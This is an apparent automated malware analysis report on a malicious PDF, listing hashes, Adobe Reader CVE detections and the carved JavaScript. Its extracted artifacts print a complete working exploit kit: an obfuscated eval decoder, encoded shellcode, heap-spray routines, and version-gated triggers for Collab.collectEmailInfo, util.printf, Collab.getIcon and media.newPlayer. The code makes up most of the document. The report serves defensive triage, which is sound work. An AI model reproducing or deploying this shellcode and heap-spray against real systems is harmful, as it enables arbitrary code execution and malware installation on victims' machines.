Malicious PDF — malware analysis report

Static analysis result for SHA-256 95d4e46dead8a166…

MALICIOUS

PDF

44.6 KB First seen: 2026-05-08
MD5: 72a9ae1f3c8edb4b049b590d499f4a41 SHA-1: 325f068872db00a65e4f4d611b394a4288dcb215 SHA-256: 95d4e46dead8a16655782a5ab6470fadf9a61476583d148b49c8e71300bd74ab
408 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAFB9 442 bytes
SHA-256: de9ca61276ad95765484eb60692f8b46555891e7fe992b75a10dbef8f71e73ef
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
qjbnm='';
dwxq=('qwrwqr','tit');
e('dtwp=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
fpkv=e('String.fro'+dtwp.substr(0,9));
kqq = e(dtwp.substr(9)['replace'](/u/g,','));
e('k=kqq.length');
for (i = 0; i < k; i+=2) {
	cdh = kqq[i+1] + ('erybjkerl',kqq[i]);
	qjbnm += fpkv(cdh);
}
e(qjbnm);
legacy_pdfkit_stage_000.js deobfuscated-js metadata title CharCode pair decoded JavaScript at offset 0x37 3648 bytes
SHA-256: d6054eb4daa96cf62a6a13e23ca7897d15ea3cb95cd39a964760a67766292575
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u3bb9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%ufb34%ue2aa%uc3fa%ue5e8%uffff%u12ff%ufaf7%ufbfb%u7aa5%ua717%ufbfa%u72fb%u761c%uebb4%u9476%ucaaf%uac20%ua8aa%ua8a8%ua8a8%ua8a8%ua8ae%u93a8%ufaff%ufbfb%uadae%u93a8%u9594%ufbfb%u8e93%u9789%uaf96%u7593%uf5b5%u1317%ufbb3%ufbfb%u13ab%ufb87%ufbfb%u2b04%u3f78%u93f3%u14b4%ufeb4%u13ab%ufb97%ufbfb%u2b04%u3b7e%uec8e%uaf91%u08a2%u9351%u0589%ued48%ue613%ufbfb%uabfb%uaa13%ufbfb%u04fb%ua82b%u0591%u7293%ufa94%u1346%ufbf3%ufbfb%u13ab%ufbc7%ufbfb%u2b04%uca9b%u9f3b%uab70%u70cb%uf7a9%ua970%u70ef%ud389%ue342%ufbfb%ucafb%uca04%u573b%u9ac7%uf987%udbd7%u343a%ufaf6%u193c%u7a0b%ua004%ub147%u7091%uebb9%ue970%u228e%ubf72%ue7df%u389a%u709b%udf97%u70df%uc7be%uaf70%u83fe%u11fa%ub170%u70e3%udba1%u10fa%ucf18%u70b2%u70cf%u15fa%u04ca%u3bca%u5707%u3b7f%ufc8f%u343a%ufaf6%u103c%uc00f%udf87%u8ed3%u701a%udfa1%u10fa%u709d%ub0f7%ua170%ufae7%u7010%u70ff%u13fa%ubf72%ue7df%u399a%ufbf3%u1413%u0405%u9304%u8f8f%uc18b%ud4d4%u979a%u819a%u899a%u9493%ud58f%u9592%u949d%u9fd4%u8bd5%u8b93%u9dc4%ucfc6%uddcb%uc69e%ufbce';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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